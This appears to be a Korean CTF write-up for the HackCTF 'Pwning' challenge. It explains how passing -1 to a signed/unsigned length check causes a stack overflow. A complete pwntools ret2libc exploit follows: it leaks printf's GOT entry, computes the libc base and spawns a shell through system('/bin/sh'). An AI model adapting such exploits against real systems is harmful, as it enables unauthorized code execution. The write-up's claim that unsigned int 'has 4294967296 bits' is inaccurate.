HackCTF
Pwning
Rasser
2021. 12. 30. 01:09
728x90
get_n 함수 작동 원리
- 인자를 2개를 받는다. get_n(int paran_1, unsingned int param_2)
- 문자를 하나 입력받고, char형 변환을 하여 cVar1에 저장.
- (cVar1 == '\0' || cVar == '\n' || paran_2 ≤= 0)이면 break;
vuln함수 작동 원리
char local_30, int local_10
값을 입력받고, 그 값을 local_30에 저장 → local_30의 값을 문자열로 변환 → local_10에 저장.
local_10 < 0x21이면 get_n 호출(local_30, local_10)
이때 여기서 get_n의 2번째 인자는 unsigned이지만, local_10은 int이다.
이때 음수를 넣어주면 overflow발생.
unsigned int의 비트 수는 4294967296이다.
그래서 -1을 하면
0 밑으로 내려가서 최대 숫자로 올라가 4294967295이 된다. 따라서 local_10은 4294967295가 된다.
leak방법
printf_got함수를 구한다.
https://libc.blukat.me/ 이 사이트에서 바이너리에 쓰인 라이브러리를 찾고, 그 라이브러리에서 쓰이는 함수의 offset을 찾아서 vuln함수 한번더 호출하고, 릭하면 된다.
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')
libc = e.libc
system_offset = 0x03a940
binsh_offset = 0x15902b
p.recvuntil("read? ")
p.sendline("-1")
p.recvuntil("data!\\n")
pr = 0x080484e1
#----------STEP 1(GET BASE_ADDR)-------
payload = ""
payload += "A"*48
payload += p32(e.plt['printf'])
payload += p32(e.symbols['vuln'])
payload += p32(e.got['printf'])
p.sendline(payload)
p.recvuntil('\\n')
printf_addr = u32(p.recv(4))
leak_base = printf_addr - 0x049020 # printf함수의 오프셋
system = leak_base + system_offset
binsh = leak_base + binsh_offset
p.recvuntil("read? ")
p.sendline("-1")
p.recvuntil("data!\\n")
payload1 = "A"*48
payload1 += p32(system)
payload1 += "BBBB"
payload1 += p32(binsh)
p.sendline(payload1)
p.interactive()
728x90